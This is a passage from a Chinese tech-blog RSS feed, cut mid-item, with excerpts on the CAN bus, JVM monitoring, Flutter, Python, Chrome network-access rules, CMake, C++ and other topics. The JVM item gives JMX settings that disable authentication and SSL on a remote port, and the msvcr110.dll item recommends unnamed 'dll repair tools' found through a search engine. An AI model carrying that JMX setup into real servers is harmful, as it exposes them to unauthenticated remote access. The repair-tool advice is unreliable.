Request，固定为隐性(1)仲裁段IDE1拓展帧标记，在拓展帧中固定为隐性(1)仲裁段拓展ID18扩展ID仲裁段RTR1远程传输请求位，在数据帧中固定为显性(0)，同ID数据帧优先于远程帧控制段r11保留位，固定为显性(0)控制段r01保留位，固定为显性(0)控制段DLC4数据段长度，CAN2.0A/B中允许长度为0~8可以看到，由于SRR位的存在，基本ID（11位ID）相同的标准数据帧与拓展数据帧仲裁时，总是标准数据帧赢得仲裁。&#xA;2、遥控帧（远程帧） 遥控帧与数据帧并无大的差异，与数据帧相比，遥控帧将RTR位置为隐性(1)，同时不包含数据段。在遥控帧中，DLC表示请求传输的数据长度。&#xA;3、错误帧 错误帧用于在节点检测到错误时通知其他节点，十分简易的帧结构，由6位错误标志（根据节点当前所处的错误状态来确定错误标志的电平），8位错误界定符组成。&#xA;一个值得关注的小问题：&#xA;为什么会有错误标志重叠部？&#xA;不同节点发现错误的时机可能不同，这会导致节点开始发送错误标志的开始时间不同。最坏的情况是某个节点收到其他节点发送的6位错误标志位才反应过来出现了错误，此时它才开始发送自己的错误标志位。因此错误标志位重叠部最长可以为12位。 4、过载帧 过载帧和错误帧有着几乎一模一样的帧结构！&#xA;这里就会有一个问题，要怎么区分过载帧和错误帧呢？&#xA;一般来说，错误帧会在一帧数据的收发过程中发出，比如发送时发现数据帧没有收到ACK回复，或者接收时发现报文的CRC不对，此时错误帧会被发出以终止这条数据帧的继续发送，发送节点会在下次总线空闲时重新尝试发送此条报文。而过载帧一般会在总线空闲时由接收节点发出，这会拉低总线以阻止其他发送节点继续发送数据帧到总线上，给接收节点留出喘息的时间来处理上一帧。&#xA;5、帧间隔 每条数据帧与遥控帧发送前需要等待至少3个位的隐性帧将自己与前面的任何帧（数据帧、遥控帧、错误帧、过载帧） 分隔开来。过载帧和错误帧发送前不需要等待帧间隔！。&#xA;我们在图上还看到了延迟传送部分，当一个处于被动错误状态下的节点要发送数据帧或遥控帧时，它不但要等待3位的帧间隔，还需要额外再等待8位的延迟传送。“被动错误状态”这个概念见后面的错误处理相关章节。&#xA;CAN协议收发流程 发送过程 设置ID、DLC、数据帧等。任何节点在总线空闲时都可以发送数据，这时启动发送帧。除了正在发送数据的节点，其他节点处于监听状态。多个节点同时发送将启动仲裁，ID值小的优先发送，仲裁失败的进入监听状态。最终在完成仲裁后，同一时间，只会有一个节点发送数据。数据发送完成后，发送的节点释放总线（通过发送一个隐性的1），开始监听接收节点返回的ACK。成功接收ACK（一个显性的0）后，继续发送帧数据中的结束段，之后发送节点发送下一帧或进入接收状态。如果第7步没有收到ACK，将放弃后续发送并进入CAN错误处理流程**（错误处理？发送节点在内的所有节点都会监测是否出现错误，监测到错误的一个或多个节点会将总线保持在逻辑0至少6个总线周期，此时所有节点注意到此错误并采取措施，发送失败的消息将会被重新发送）**。发送节点维护发送错误计数器TEC，当错误数到达0xFF时，节点将会从网络中断开（进入bus-off状态）。 接收过程 除了处于发送状态和总线关闭状态（bus-off）的节点，所有节点都处于接收状态。如果收到有效的CAN消息，监听节点将进行应答。如果接收节点设置了过滤器，将根据过滤设置过滤掉不需要的消息（不影响应答，也就是控制器应答后自己把报文丢掉了，没有通知应用层）。过滤后收到的数据存入FIFO，用户根据DLC值处理数据大小。推荐用CAN中断或DMA方式，及时处理数据。 发送报文时的仲裁问题 所有CAN单元都可以在总线空闲时（最后一个ACK后出现连续11个隐性电平）发出消息。先发送报文的CAN单元可获得发送权（通过发送一个显性的起始位使得总线退出空闲状态）。如果两个CAN单元同时发出起始位，则通过线与机制对仲裁段进行仲裁，ID标识符更小的优先发送,输掉仲裁的CAN单元停止发送并等待下一次总线空闲时重发。仲裁的本质，是对发送到总线的信号进行回读，如果发送的是隐性位但读回的是显性位，则输掉仲裁并退出发送。由于显性位对应为“0”，因此越小的ID（开头0越多）在仲裁时具有越高的优先级。 CAN错误处理 错误类型 帧错误检测 检测到错误的节点将发送错误帧来发出错误通知，收到错误通知的节点也开始发送错误帧。检测到错误的发送节点放弃发送当前帧，并根据错误类型增加内部的发送错误计数器TEC；检测到错误的接收节点放弃当前帧接收，并根据错误类型增加内部的接收错误计数器REC。当TEC到达0xFF时，发送节点进入bus-off状态，从总线上断开；如果不是，则尝试在下一次总线空闲时重发当前帧。之后每次传输成功或接收成功一帧，对应的TEC和REC减1（有一个例外，当REC大于127时，REC会在接收成功时直接设置为127）。 节点错误状态 TEC和REC的计数值决定了CAN节点处于什么错误状态，如下图：</description>
    </item>
    <item>
      <title>JVM性能调优监控工具进行介绍(jconsole,jmap,jstack)</title>
      <link>https://bchobby.github.io/posts/3e5ebc4bccf5bb55ad19dc2ffe33e708/</link>
      <pubDate>Fri, 26 May 2023 10:15:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e5ebc4bccf5bb55ad19dc2ffe33e708/</guid>
      <description>java -Xmx1000m -Xss100m -jar yourjarfile.jar 是一种 Java 命令行参数的设置方式，用于在命令行运行 Java 应用程序时设置 Java 虚拟机的堆大小和栈大小等参数。 具体来说，-Xmx1000m 参数是设置 Java 虚拟机的最大堆大小，这里将最大堆大小设置为 1000MB，即 1GB。设置较大的堆大小可以让 Java 应用程序拥有更多的内存空间用于分配对象和缓存数据等，但也要注意程序运行时占用的内存不要超过系统物理内存，否则会导致系统缓慢或崩溃。JVM初始分配的内存由-Xms指定，默认是物理内存的1/64；JVM最大分配的内存由-Xmx指定，默认是物理内存的1/4。 -Xss100m 参数是设置 Java 虚拟机线程栈大小，这里将线程栈大小设置为 100MB。线程栈是应用程序用于存储方法调用和本地变量的内存区域，设置较大的线程栈可以允许程序调用更深的递归方法或者同时启动更多的线程，但也要注意占用的内存不要超过系统物理内存或默认值（通常为 512KB 或 1MB），否则也会导致应用程序崩溃或运行缓慢。 默认情况下不会指定栈内存大小，因此将使用默认值. Java 栈内存大小在不同的 JVM 和操作系统下可能有所不同，但通常默认大小为 1MB~10MB，具体取决于对应的 JVM 和操作系统。 综上所述，这条命令意思是启动一个 Java 应用程序，设置虚拟机的最大堆内存为 1GB，设置线程栈大小为 100MB，并指定要运行的 JAR 文件。 jconsole远程tomcat进程&#xA;修改tomcat/bin/catalina.sh文件，粘贴如下到catalina.sh 文件 JAVA_OPTS=&#34;-Djava.rmi.server.hostname=192.168.53.53 -Dcom.sun.management.jmxremote.port=11000 -Dcom.sun.management.jmxremote.rmi.port=11000 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false&#34;&#xA;打开jconsole连接tomcat进程,无需输入 用户名/口令&#xA;jconsole远程jboss进程(用户名/口令 可以不用填写)，查看 内存，线程， 类&#xA;在%JBOSS_HOME%\bin\run.sh文件中将 JAVA_OPTS=&#34;$JAVA_OPTS -Dprogram.name=$PROGNAME &#34;修改为：&#xA;JAVA_OPTS=&#34;$JAVA_OPTS -Dprogram.name=$PROGNAME -Dcom.sun.management.jmxremote.port=15080 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false&#34;&#xA;jstack -h 查看帮助 jstack是jdk自带的线程跟踪工具，用于打印指定 java进程（如jboss中run.</description>
    </item>
    <item>
      <title>Flutter 笔记 | Flutter 基础组件</title>
      <link>https://bchobby.github.io/posts/dc6e7bd60feb2d58292c148e754d97d7/</link>
      <pubDate>Fri, 26 May 2023 08:17:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc6e7bd60feb2d58292c148e754d97d7/</guid>
      <description>Text Text 用于显示简单样式文本，它包含一些控制文本显示样式的一些属性，一个简单的例子如下：&#xA;Text(&#34;Hello world&#34;, textAlign: TextAlign.left, ); Text(&#34;Hello world! I&#39;m Jack. &#34;*4, maxLines: 1, overflow: TextOverflow.ellipsis, ); Text(&#34;Hello world&#34;, textScaleFactor: 1.5, ); 下面是Text的常用属性：&#xA;属性功能textAlign文本对齐方式（center居中，left左对齐，right右对齐，justfy两端对齐）textDirection文本方向（ltr从左至右，rtl从右至左）overflow文字超出屏幕之后的处理方式（clip裁剪，fade渐隐，ellipsis省略号）textScaleFactor字体显示大小的缩放因子maxLines文字显示最大行数style字体的样式设置 注意， textAlign 对齐的参考系是Text widget 本身。如果 Text 文本内容宽度不足一行，Text 的宽度和文本内容长度相等，那么这时指定对齐方式是没有意义的，只有 Text 宽度大于文本内容长度时指定此属性才有意义。下面我们指定一个较长的字符串：&#xA;Text(&#34;Hello world &#34;*6, //字符串重复六次 textAlign: TextAlign.center, )； 运行效果：&#xA;​ 字符串内容超过一行，Text 宽度等于屏幕宽度，第二行文本便会居中显示。&#xA;TextStyle TextStyle用于指定文本显示的样式如颜色、字体、粗细、背景等。下面是TextStyle的常用属性：&#xA;属性功能decoration文字装饰线（none没有线，lineThrough删除线，overline上划线， underline 下划线）decorationColor文字装饰线颜色decorationStyle文字装饰线风格（[dashed,dotted]虚线，double两根线，solid一根实线，wavy波浪线）wordSpacing单词间隙（如果是负值，会让单词变得更紧凑letterSpacing字母间隙（如果是负值，会让字母变得更紧凑）fontFamily指定字体fontStyle文字样式（italic斜体，normal正常体）fontSize文字大小color文字颜色fontWeight字体粗细（bold粗体，normal正常体）height指定行高，但它不是绝对值只是一个因子，具体的行高等于fontSize*height 简单示例：&#xA;Text(&#34;Hello world&#34;, style: TextStyle( color: Colors.blue, fontSize: 18.0, height: 1.2, fontFamily: &#34;Courier&#34;, background: Paint()..color=Colors.yellow, decoration:TextDecoration.underline, decorationStyle: TextDecorationStyle.dashed ), ); 效果：</description>
    </item>
    <item>
      <title>chatgpt赋能python：Python去除空格和换行的实用技巧</title>
      <link>https://bchobby.github.io/posts/5551a3f07d19f2de38fffb2d856e5d69/</link>
      <pubDate>Fri, 26 May 2023 05:42:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5551a3f07d19f2de38fffb2d856e5d69/</guid>
      <description>Python 去除空格和换行的实用技巧 在使用 Python 进行文本处理的过程中，经常会遇到需要去除空格和换行符的情况。可能你需要去掉用户输入数据中的多余空格，也可能你需要从一个文本文件中抽取出数据并且规范化格式。本文提供了多种去除空格和换行的方法，旨在为大家提供一些实用的技巧和方法，帮助大家更好地应对各种文本处理需求。&#xA;什么是空格和换行符？ 在学习去除空格和换行的技巧之前，我们先来了解一下什么是空格和换行符。空格是指在文本中插入的一个或多个空格字符（空格字符是指 ASCII 码表上的空格符），可以用来作为单词或句子之间的分隔符。而换行符则是指在文本中插入的特殊符号，可以在文本中分段或分行。&#xA;Python如何去除空格？ Python 提供了多种方法来去除字符串中的空格。下面列举了一些常用的方法：&#xA;1. strip() 方法 strip() 方法可以去除字符串首尾的空格：&#xA;s = &#34; hello world &#34; s = s.strip() print(s) # 输出：hello world 2. split() 方法 split() 方法可以将字符串按照分隔符分割成一个列表，然后通过 join() 方法将列表中的元素合并为一个字符串，从而去除字符串中间的空格：&#xA;s = &#34;hello world&#34; s = &#34;&#34;.join(s.split()) print(s) # 输出：helloworld 3. replace() 方法 replace() 方法可以将指定字符串或字符替换为另一个字符串或字符。利用这个方法，我们可以将空格替换为空:&#xA;s = &#34;hello world&#34; s = s.replace(&#34; &#34;, &#34;&#34;) print(s) # 输出：helloworld Python如何去除换行符？ 除了空格之外，Python 也提供了多种方法来去除字符串中的换行符：&#xA;1. replace() 方法 通过将换行符替换为空串的方法可以去除换行符：</description>
    </item>
    <item>
      <title>谷歌新版本跨域错误深度剖析与解决:request client is not a secure context and the resource is in more-private address</title>
      <link>https://bchobby.github.io/posts/0284f658ec2226cc27823e16ad638702/</link>
      <pubDate>Thu, 25 May 2023 17:52:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0284f658ec2226cc27823e16ad638702/</guid>
      <description>快速解决：&#xA;======================================================&#xA;最近在测试http服务时，谷歌浏览器报了以下错误&#xA;“The request client is not a secure context and the resource is in&#xA;more-private address space ‘local’”.&#xA;从报错信息来看，“不安全的请求方请求了更私有的本地资源”&#xA;对于该错误，其实已经在几个月前就已经遇到过，当时对于此的解决方式是修改谷歌浏览器的设置以关闭该检查。&#xA;如今，这个错误又一次出现，并且当初修改设置的方式已经不再可行，所以需要寻找其他方法。&#xA;这篇博文将分析该错误的原因与相关解决方案。&#xA;原因： 谷歌浏览器的更新 Chrome安全更新：&#xA;从 Chrome 94 开始阻止来自不安全公共网站的私有网络请求。&#xA;在 Chrome 98 中。&#xA;●Chrome会在私有网络子资源请求之前发送预检请求。&#xA;● 预检失败只在DevTools中显示警告，不影响私人网络请求。&#xA;● Chrome收集兼容性数据，并向受影响最大的网站伸出援手。&#xA;● Google 预计这将与现有网站广泛兼容。 最早在Chrome 101中全面部署&#xA;可以看到，从94版本开始，谷歌针对不安全网站访问私有网络进行了更新，阻止这种访问更私有资源的请求。同时，在进行私有网络资源请求前，还会先发送OPTIONS预检请求。&#xA;那么谷歌浏览器的这个更新，是基于什么呢？PNA（Private Network Access） 规范。对于不满足PNA的请求，谷歌浏览器会提示跨域错误&#xA;专用网络访问 这里发一下专用网络访问草案的网址：&#xA;https://wicg.github.io/private-network-access/#intro&#xA;读了文档，大致了解到：PNA是对“公网”访问“私网”进行限制，以提高安全性，防止一些攻击。&#xA;文档中对于混合内容、Websocket等各个形式下的措施都有说明。&#xA;每个 IP 地址都属于一个 IP 地址空间，该空间可以是一个 三个不同的值： 本地：包含本地 仅限主机。换句话说，每个地址的目标都不同&#xA;装置。 私有：包含 仅在当前网络中有意义的地址。在其他 单词，其目标因网络位置而异的地址。 公共：包含所有&#xA;其他地址。换句话说，目标相同的地址 IP 网络上的全球所有设备。 为方便起见，我们还定义了以下术语： 本地地址是 IP 地址空间为本地的</description>
    </item>
    <item>
      <title>Vue3挂载全局属性和方法</title>
      <link>https://bchobby.github.io/posts/17307238adbee6da0e132a7c9ba4159e/</link>
      <pubDate>Thu, 25 May 2023 16:38:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17307238adbee6da0e132a7c9ba4159e/</guid>
      <description>mian.js文件&#xA;创建app实例后，开始在实例上挂载全局变量/方法&#xA;app.config.globalProperties.属性名（方法名） = 值&#xA;在组件中，读取全局变量（方法）&#xA;通过打印getCurrentInstance()，我们可以发现结果数据中的ctx的值和proxy的值是一样的，所以在获取全局变量的时候可能会 通过ctx去实现，需注意的是 -- ctx打包后在生产环境下是获取不到的，为了保证项目的正常运行，正常应该使用 proxy。&#xA;也就是说：{ctx}=getCurrentInstance()和{proxy}=getCurrentInstance()的结果是一样的，但是正确应该使用后者。&#xA;参考文章：关于Vue3里面的getCurrentInstance：可以获取挂载在全局的属性和获取上下文_口袋の的天空的博客-CSDN博客</description>
    </item>
    <item>
      <title>MATLAB 之 绘制三维图形的基本函数、三维曲面和其他三维图形</title>
      <link>https://bchobby.github.io/posts/648746a87a9c669ca81e239830aea7f9/</link>
      <pubDate>Thu, 25 May 2023 16:07:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/648746a87a9c669ca81e239830aea7f9/</guid>
      <description>文章目录 一、绘制三维曲线的基本函数二、三维曲面1. 平面网格坐标矩阵的生成2. 绘制三维曲面的函数3. 标准三维曲面 三、其他三维图形1. 三维条形图2. 三维饼图3. 三维实心图4. 三维散点图5. 三维杆图6. 三维箭头图 三维图形具有更强的数据表现能力，为此 MATLAB 提供了丰富的函数来绘制三维图形。绘制三维图形与绘制二维图形的方法十分类似，很多都是在二维绘图的基础上扩展而来。 一、绘制三维曲线的基本函数 基本的三维图形函数为 plot3，它是将二维绘图函数 plot 的有关功能扩展到三维空间，用来绘制三维曲线。plot3 函数与 plot 函数用法十分相似，其调用格式如下： plot3(x1,y1,z1,选项1,x2,y2,z2,选项2,…,xn,yn,zn,选项n) 其中，每一组 x 、 y 、 z x、y、z x、y、z 组成一组曲线的坐标参数，选项的定义和 plot 函数相同（线型、颜色和标记符号等参数，详见 MATLAB 之 二维图形绘制的基本函数和辅助操作）。当 x 、 y 、 z x、y、z x、y、z 是同长度的向量时，则 x 、 y 、 z x、y、z x、y、z 对应元素构成一条三维曲线。当 x 、 y 、 z x、y、z x、y、z 是同型矩阵时，则以 x 、 y 、 z x、y、z x、y、z 对应列元素绘制三维曲线，曲线条数等于矩阵列数。例如，我们绘制空间曲线： { x 2 + y 2 + z 2 = 64 y + z = 0 \left\{\begin{matrix}x^{2}+y^{2}+z^{2}=64 \\y+z=0 \end{matrix}\right.</description>
    </item>
    <item>
      <title>Keithley吉时利2450源表技术参数</title>
      <link>https://bchobby.github.io/posts/cf0e5c778e3894419f32b2a93297fbe7/</link>
      <pubDate>Thu, 25 May 2023 14:24:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf0e5c778e3894419f32b2a93297fbe7/</guid>
      <description>Keithley SMU 2450源表,吉时利2450：Keithley 的触摸屏图形源测量单元仪器可带来直观的测试平台体验，满足电源和测量需求。应用：离散设备、组件、FET、二管、电阻、电池、电源管理 IC、太阳能电池、LED、纳米材料、有机材料等。&#xA;Keithley吉时利2450 SMU源表仪器提供四象限精密电压和电流源/负载，外加触摸屏用户界面上的测量。 这些仪器可同时提供 10 fA - 10 A 脉冲电流和/或 100nV - 200V 电压、1000W 脉冲和 100W 直流总功率的源和测量。&#xA;使测量登上全新高度：SMU 仪器可捕获更详细的设备行为，并在扩展范围内检定设备，因此您能更好地了解设备，提高其质量，改善其性能。&#xA;KEITHLEY吉时利2450数字源表的特点：&#xA;● ﻿5英寸、高分辨率容性触摸屏图形用户界面&#xA;● 0.012%基本测量准确度和6位半分辨率&#xA;● 增强灵敏度20mV和10nA源/测量范围&#xA;● 源和阱(4象限)操作&#xA;● 4种“个性”模式用于快速设置和测量&#xA;● 上下文相关的前面板帮助&#xA;● 前面板输入香蕉头插座;后面板输入三同轴连接&#xA;● 2450型增强SCPI和TSP®脚本编程模式&#xA;● 2400型SCPI兼容编程模式&#xA;● 前面板USB内存端口用于数据/编程/配置I/O&#xA;技术参数：&#xA;源电压范围:20mV 至 200V&#xA;输出功率:20W&#xA;源电流范围:10nA 至 1A&#xA;电阻测量范围:2ohm 至 200Mohm&#xA;外部宽度:255mm&#xA;外部深度:425mm&#xA;外部长度/高度:106mm&#xA;工作温度最小值:0°C&#xA;工作温度最高值:50°C</description>
    </item>
    <item>
      <title>windowsAPI调用，实现鼠标自动点击</title>
      <link>https://bchobby.github.io/posts/ba2afddb4b9edc7bab1995e1aba8b8f0/</link>
      <pubDate>Thu, 25 May 2023 14:21:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba2afddb4b9edc7bab1995e1aba8b8f0/</guid>
      <description>#include &#34;windows.h&#34;&#xA;//鼠标点击函数，传入屏幕坐标&#xA;void doPressAct(int x, int y, int type_id)&#xA;{&#xA;SetCursorPos(x, y);&#xA;if (type_id == 1)&#xA;{//鼠标单击一下左键 mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN, x, y, 0, 0);&#xA;mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTUP, x, y, 0, 0);&#xA;}&#xA;else if (type_id == 2)&#xA;{//鼠标双击左键 mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN, x, y, 0, 0);&#xA;mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTUP, x, y, 0, 0);&#xA;mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN, x, y, 0, 0);&#xA;mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTUP, x, y, 0, 0);&#xA;}&#xA;}</description>
    </item>
    <item>
      <title>QT编程常见崩溃问题总结</title>
      <link>https://bchobby.github.io/posts/6ce831bfbc3f8bb38b9600d3a09656b5/</link>
      <pubDate>Thu, 25 May 2023 14:20:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ce831bfbc3f8bb38b9600d3a09656b5/</guid>
      <description>一 主程序事件循环函数崩溃 ： a.exec()处崩溃 该处崩溃一般调试的时候显示的堆栈信息停止的位置都是QT的dll库。我们的代码中只给出了a.exec()崩溃。 原因一：&#xA;子线程中更改界面上控件。在Qt事件循环中一般只有主线程可以用来改变某一个显示控件的状态。子线程想要改变界面时可以给主程序发信号。&#xA;原因二：&#xA;在事件循环中，有部分控件访问的地址越界&#xA;例如：&#xA;QPixmap q_pixmap; //my_frame.data 是一块连续的内存空间，存放自定义图像数据。该类型创建的QImage数据为浅拷贝 QImage q_image(static_cast&amp;lt;uchar*&amp;gt;(my_frame.data), width, height, QImage::Format_Grayscale8); //pix_image 内部数据指针指向my_frame.data 所在地址。pix_image 只要不对图片进行更改就不会进行真正的深拷贝复制。 pix_image = pix_image.fromImage(img_image, Qt::ImageConversionFlag::NoFormatConversion); QLabel label; label.setPixmap(pix_image); 当自定义的分配的那一块图像缓冲区被释放时，QT程序因为label上的图片数据指针被释放，指向了无效数据空间。该控件可能有权限访问也可能没有，就会造成随机崩溃。提现在代码上就是主程序事件循环上崩溃。</description>
    </item>
    <item>
      <title>CMakelist使用说明</title>
      <link>https://bchobby.github.io/posts/7fcc0ec48a99188be5ef1a6a5becee95/</link>
      <pubDate>Thu, 25 May 2023 14:18:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fcc0ec48a99188be5ef1a6a5becee95/</guid>
      <description>默认路径 CMAKE_CURRENT_LIST_FILE ：输出调用这个变量的CMakeLists.txt 的完整路径&#xA;CMAKE_MODULE_PATH ：定义自己的cmake 模块所在的路径&#xA;EXECUTABLE_OUTPUT_PATH ：重新定义最终结果的存放目录&#xA;LIBRARY_OUTPUT_PATH ：重新定义最终结果的存放目录&#xA;CMAKE_INCLUDE_CURRENT_DIR ：自动添加CMAKE_CURRENT_BINARY_DIR 和CMAKE_CURRENT_SOURCE_DIR 到当前处理的CMakeLists.txt&#xA;PRIVATE: 将链接只用于当前目标，相当于.c包含，对外的.h不包含&#xA;INTERFACE: 将链接只用于依赖于当前目标的文件，当前目标不使用； 相当于.c不使用，对外的.h使用&#xA;PUBLIC：相当于PRIVATE + INTERFACE；所有对象都可以使用链接；相当于.c使用，对外的.h也使用&#xA;关键字 Option 在CMakeList中添加编译选项。&#xA;option(TRANSLATION_ENABLED &#34;TRANSLATION_ENABLED &#34; OFF) if(TRANSLATION_ENABLED){ message(&#34;Auto generate translation file &#34;) } add_executable 添加可执行文件&#xA;add_executable(${APP_NAME} ${APP_SRC} ) aux_source_directory 把当前路径下src目录下的所有源文件路径放到变量hello_src中（不会递归包含子目录，仅包含指定的dir目录）&#xA;aux_source_directory(./src ${hello_src}) $ENV{NAME} cmake 调用环境变量：&#xA;MESSAGE(STATUS “HOME dir: $ENV{HOME}”) 设置环境变量的方式是：SET(ENV{ 变量名} 值)&#xA;file (GLOB) 查找文件夹目录下的所有符合类型的文件，放入ALL_SOURCES 对象中&#xA;file (GLOB ALL_SOURCES &#34;./Src/*.cpp&#34; &#34;./Src/UI/*.cpp&#34; &#34;./Src/Tools/*.cpp&#34;) find_package() set(QT_PATH D:/Qt/5.12.11/msvc2017_64) SET(CMAKE_PREFIX_PATH ${QT_PATH}/lib/cmake) #将cmake文件夹包含进项目优先查找路径中，之后find_package才能找到</description>
    </item>
    <item>
      <title>msvcr110.dll丢失的解决方法，多种方法助你解决msvcr110.dll丢失</title>
      <link>https://bchobby.github.io/posts/ba28a867027fb9907593f63a25ca1c85/</link>
      <pubDate>Thu, 25 May 2023 14:17:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba28a867027fb9907593f63a25ca1c85/</guid>
      <description>当您在尝试打开某个程序或游戏时，可能会看到一个错误消息，提示您的计算机缺少msvcr110.dll文件。这是因为该文件是Microsoft Visual C++ Redistributable库的一部分，缺少它可能会导致应用程序无法正常运行。在本文中，我们将详细介绍msvcr110.dll丢失的解决方法。&#xA;一.什么是msvcr110.dll MSVCR110.dll是Microsoft Visual C++ 2012 Redistributable的一部分。它是一个动态链接库文件，包含了许多用于C++编程的函数和类。如果您的计算机上没有安装Visual C++ Redistributable，或者该文件已被删除或损坏，那么您将会看到“msvcr110.dll丢失”错误消息。&#xA;二.修复msvcr110.dll丢失问题的方法 以下是修复msvcr110.dll丢失问题的几种方法：&#xA;方法1：重新安装Microsoft Visual C++ Redistributable&#xA;首先，您可以尝试重新安装Microsoft Visual C++ Redistributable。前往Microsoft官方网站下载并安装适用于您的操作系统的最新版本即可。安装完成后，重新启动计算机，并尝试打开应用程序或游戏，看看是否仍然出现msvcr110.dll丢失的错误消息。&#xA;方法2：从另一个计算机复制msvcr110.dll文件&#xA;如果重新安装Microsoft Visual C++ Redistributable没有解决问题，您可以尝试从另一个计算机复制msvcr110.dll文件。首先，找到另一个计算机上的该文件，并将其复制到U盘或其他可移动存储设备上。然后，在您的计算机上找到缺少该文件的应用程序或游戏的安装目录，并将该文件复制到该目录下即可。&#xA;方法3：使用dll修复工具修复msvcr110.dll&#xA;如果以上两种方法都无法解决问题，那么您可以尝试使用dll修复工具来修复msvcr110.dll丢失问题。这些工具可以自动扫描您的计算机，并查找丢失或损坏的dll文件。它们还可以下载并安装缺失的dll文件，并在必要时修复注册表项。直接在百度上搜索电脑修复精灵，进入官方站点下载一个dll修复工具，利用这个dll修复软件直接进行一键修复就可以了。&#xA;使用dll修复工具的优势&#xA;与手动复制dll文件相比，使用dll修复工具有以下优势：&#xA;1. 自动修复：dll修复工具可以自动扫描和修复丢失或损坏的dll文件，省去了手动查找和复制文件的麻烦。&#xA;2. 安全可靠：大多数dll修复工具都是由专业的软件公司开发的，具有良好的声誉和高质量的服务。使用它们修复dll问题通常是安全可靠的。&#xA;3. 便捷快速：使用dll修复工具可以快速解决dll问题，节省时间和精力。&#xA;在本文中，我们介绍了三种修复msvcr110.dll丢失问题的方法，包括重新安装Microsoft Visual C++ Redistributable、从另一个计算机复制msvcr110.dll文件以及使用dll修复工具。其中，使用dll修复工具是最方便、快速和安全的方法。以上就是关于msvcr110.dll丢失的解决方法的一些相关分享，希望本文能帮助到大家。</description>
    </item>
    <item>
      <title>C&#43;&#43;：静态变量</title>
      <link>https://bchobby.github.io/posts/684d91426d3a1b0cb57953242637d670/</link>
      <pubDate>Thu, 25 May 2023 14:17:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/684d91426d3a1b0cb57953242637d670/</guid>
      <description>一、类或结构体外部静态变量 静态变量的初始化和空间释放：全局静态变量是在软件刚运行时就初始化，局部静态变量是在软件运行到那一块代码时才初始化。无论全局还是局部静态变量都是在程序运行结束后释放空间。静态变量的空间是放在静态存储区的，初始化一个含有静态变量的类实例时，该实例的大小是不包含静态变量的空间的；sizeof(ClassName)，使用类名查看大小也是不包含静态变量的 1.1 外部静态变量 static int s_StVariable = 0; class StaticClass { public: int m_Varible; }; 变量s_StVariable 为定义在类外部的静态变量。&#xA;在类的外部声明为静态变量时，只有编译器在编译该翻译单元的时候才会识别到。链接器在链接其他翻译单元时，对其他的翻译单元而言，s_StVariable 这个静态变量是不可见的。&#xA;这样也就是我们常说的，静态变量只有在自己定义的.cpp文件中才会有效的原因。类中时有public,private之类的访问权限控制。我们如果把一个.cpp（翻译单元）看成是一个类的话，外部的static声明就是相当于定义这个变量或者函数为private。&#xA;1.2 全局变量 如果我们声明变量s_StVariable 时候不加static修饰，即&#xA;int s_StVariable = 0; class StaticClass { public: int m_Varible; }; 那么s_StVariable 就是一个全局的变量，全局是指在链接器连接的时候任何翻译单元都可以访问这个变量，即这个变量对于其他的翻译单元来说是Public的。一般我们不建议这样使用，全局变量很容易出现冲突。&#xA;1.3 extern外部变量 和类外的static变量相似的，还有另外一个关键字extern;&#xA;extern int e_Varible; class StaticClass { public: int m_Varible; }; static关键字声明的变量是告诉编译器，这个变量是该翻译单元（.cpp）私有的，链接器查找时只有定义该变量的翻译单元可以使用，其他的翻译单元不可见该变量。&#xA;extern声明的变量是告诉链接器去其他的翻译单元中查找这个变量，即我在另一个cpp文件中定义一个全局变量int e_Varible 。在本文件内用extern做一个声明，我就可以使用另一个文件的全局变量。如果不加extern则会出现重定义冲突。加上extern后的变量相当于函数的函数声明。&#xA;1.4 头文件中的静态变量 一般情况下我们可能会选择在一个公共的.h头文件中定义一堆的全局静态变量，用于其他的cpp文件中，做配置信息。在其他的cpp文件将这个.h包含进去的时候，其实就是相当于在自己的cpp中定义了一个静态变量，多个cpp就是每一个文件中都有一个私有的静态变量。&#xA;当然.h中定义静态变量一般我们都会声明为const，不能修改，防止不同的cpp修改后变量值不同步。&#xA;二、类或结构体内部静态变量 2.1 静态成员变量 class StaticClass { public: static int m_Varible; static void Print() { std::cout &amp;lt;&amp;lt; m_Varible; } int m_x, m_y; }; int StaticClass::m_Varible = 0; 成员变量m_Varible为我们定义在类内部的静态变量。类内部的静态变量作用就是让该类的所有实例对象有一个共用的数据变量，实现所有实例对象之间的公用数据同步。</description>
    </item>
    <item>
      <title>QString格式化问题</title>
      <link>https://bchobby.github.io/posts/2536092c76b5f34d4e6a3320f2834586/</link>
      <pubDate>Thu, 25 May 2023 14:17:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2536092c76b5f34d4e6a3320f2834586/</guid>
